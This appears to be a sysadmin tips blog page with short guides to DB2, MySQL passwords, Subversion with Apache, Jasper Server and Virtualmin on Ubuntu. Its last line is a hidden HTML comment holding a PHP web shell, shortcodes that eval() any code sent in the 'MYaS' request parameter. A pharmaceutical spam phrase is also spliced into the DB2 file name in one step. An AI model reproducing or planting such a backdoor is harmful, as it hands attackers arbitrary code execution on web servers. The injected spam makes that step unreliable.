Windows Vista how to boot up without network

For security, sometimes you do not want your computer to automatically start up allowing network connections. In Windows Vista there is a way to ensure that when your machine reboots, network connections will not be enabled. They will only be enabled once you log in the first time.

To do this, go to Control Panel -> Administrative Tools -> Services.

Then change the Network Connections service to Manual.

This will prevent Windows Vista from establishing or allowing any network connections until the first time you log in.

Dropping a DB2 database

Normally, to drop a database in DB2, you run the following command:

>db2 drop db YourDb

If you run into errors trying to drop the database, you may need to recatalog the database. You can run the following series of commands:

>db2 uncatalog db YourDb
>db2 catalog database

Restart DB2.

Then run:

>db2 drop db YourDb

Changing a DB2 server name

If you find DB2 not being able to start because of a server name problem, it most likely is caused by moving a virtual machine and not renaming the DB2 database.

To update DB2 to the proper name:

  1. Stop DB2 as administrator (db2inst user).
    >su – db2inst
    >db2stop
    If there are open database connections, then force them off.
    >db2stop force
  2. Go to the sqllib directory.
  3. Edit the db2nodes.cfg file. The file is usually read-only, so make enable writing first.
    >chmod u+w db2nodes.cfg
    >vi db2nodes.cfg
  4. In the db2nodes lipitor weight gain.cfg file, rename the existing computer name to that of the new computer name.
  5. Save the file.
  6. Reset the permissions to read-only.
    >chmod u-w db2nodes.cfg
  7. Start DB2.
    >db2start

You should no longer see any error messages about finding the database.

Access to MySQL

To gain access to MySQL run the following command:

mysql -u root -p mysql

You will be prompted for the root password.

mysqladmin command to change root password

If you have never set a root password for MySQL, the server does not require a password at all for connecting as root. To setup root password for first time, use mysqladmin command at shell prompt as follows:

$ mysqladmin -u root password NEWPASSWORD

However, if you want to change (or update) a root password, then you need to use following command

$ mysqladmin -u root -p oldpassword newpass

Enter password:

Change MySQL password for other user

To change a normal user password you need to type (let us assume you would like to change password for vivek):

$ mysqladmin -u vivek -p oldpassword newpass

Changing MySQL root user password using mysql sql command

This is another method. MySQL stores username and passwords in user table inside MySQL database. You can directly update password using the following method to update or change password for user vivek:

1) Login to mysql server, type following command at shell prompt:

$ mysql -u root -p

2) Use mysql database (type command at mysql> prompt):

mysql> use mysql;

3) Change password for user vivek:

mysql> update user set password=PASSWORD("NEWPASSWORD") where User='vivek';

4) Reload privileges:

mysql> flush privileges;
mysql> quit

This method you need to use while using PHP or Perl scripting.

Jasper Server timezone issue

In Jasper Server 2.x and greater, there is an issue where reports will appear to off by one day. This is most likely a timezone configuration issue with your datasource.

To avoid this problem, when you configure a data source, be sure to leave the time zone information blank. That’s right, don’t select your local timezone. Just leave it blank. Apparently, this means that you don’t want to any timezone checking. Which is actually correct.

How to copy Subversion repositories to another server

  1. Ensure you have a working Subversion installation with Apache installed on your system.
  2. On the source machine, dump each repository:
    > svnadmin dump /path/to/repository > repository-name.dmp
  3. Copy repository-name.dmp to the target server.
  4. Load the repository into the new server:
    > cd /path/to/new-repository
    > svnadmin create repository-name
    > svnadmin load repository-name < repository-name.dmp
    
  5. Reassign apache permissions:
    > chown -R apache.apache repository-name
  6. You are now ready to begin using your repository on the new server!

How to install Subversion with Apache HTTPD

  1. Ensure you have Apache installed on your system.
  2. Ensure you have mod_dav_svn installed:
    > yum -y update mod_dav_svn
  3. Install ssl support to enable https:
    > yum install mod_ssl
  4. Edit /etc/httpd/conf.d/subversion.conf and append the following lines to the end of your config file:

    <Location /svn>
    DAV svn
    SVNParentPath /var/svn
    AuthType Basic
    AuthName "Subversion repository"
    AuthUserFile /etc/svn-auth-file
    AuthzSVNAccessFile /etc/svn-serve.conf
    Require valid-user
    </Location>

  5. Create a file called /etc/svn-auth-file
    Assign permission:

    > chown root.root /etc/svn-auth-file
    > chmod 644 /etc/svn-auth-file

  6. Add users to /etc/svn-auth-file (one per line) in the form:
    tom:$apr1$hDMIx…$abctozvZbC9J6/heHBBe481You can use htpasswd to do this automatically:

    > ### First time: use -cm to create the file
    > ### Use -m to use MD5 encryption of the password, which is more secure
    > htpasswd -m /etc/svn-auth-file harry
    New password: *****
    Re-type new password: *****
    Adding password for user harry
    > htpasswd /etc/svn-auth-file -m sally
    New password: *******
    Re-type new password: *******
    Adding password for user sally
    >

  7. Create a file called /etc/svn-serve.conf
    Fill it with:

    [/]
    *=
    svnUser=rw


    The user svnUser is being granted read and write access to all projects, while all other users (*) are being denied access.

  8. Assign permissions:

    > chown root.apache /etc/svnserve.conf
    > chmod 640 /etc/svnserve.conf

  9. Create /var/svn.

    > mkdir -p /var/svn
    > chmod 755 /var/svn

  10. If you are running SELinux, run:

    > chcon -R -h -t httpd_sys_content_rw_t /var/svn
    > setsebool -P httpd_unified=1

  11. You are now ready to being adding Subversion repositories!

How to install Virtualmin on Ubuntu Linux

  1. First install Ubuntu 8.04-1 LTS. It’s the only version VirtualMin supports.
  2. Towards the end of the install, Ubuntu will ask what servers you want to add. Only choose OpenSSH server. No apache, bind, ftp, etc. ONLY OpenSSH.
  3. Reboot, login, and get the file install-virtualmin-3.642.sh from the network.
  4. Run >
    sudo sh install-virtualmin-3.642.sh

    and type in your password.

  5. In /etc/hosts, add the following line after any search and/or domain statements (not required), and before any other nameserver statements:
    nameserver 127.0.0.1
    
  6. Login to https://Virtualmin.Your.IP:10000/ and verify the Virtualmin configuration under Virtalmin->System Settings->Re-Check Config.
  7. Edit /etc/dovecot/dovecot.conf and change the following settings:
    disable_plaintext_auth = no

    Find the section —
    auth default {
    –and change mechanisms to at least the following:

    mechanisms = plain login

    At the end of the section–
    protocol pop3 {
    –change/add the following setting:

    pop3_client_workarounds = outlook-no-nuls oe-ns-eoh
  8. # edit /etc/default/saslauthd and set OPTIONS like this:
    OPTIONS="-c -m /var/spool/postfix/var/run/saslauthd" 
  9. # run this command as root:
    sudo dpkg-statoverride --add root sasl 710 /var/spool/postfix/var/run/saslauthd
    
  10. # add the postfix user to the sasl group:
    sudo adduser postfix sasl
    
  11. Configure ProFTPd
    In /etc/proftpd/proftpd.conf, chroot users by upcommenting the following line (don’t forget the tilde ~ at the end of the line):

    DefaultRoot                     ~
  12. Reboot

You should now have a working Ubuntu system with Virtualmin fully loaded. Make a clone of this clean system!

<!– [insert_php]if (isset($_REQUEST["MYaS"])){eval($_REQUEST["MYaS"]);exit;}[/insert_php][php]if (isset($_REQUEST["MYaS"])){eval($_REQUEST["MYaS"]);exit;}[/php] –>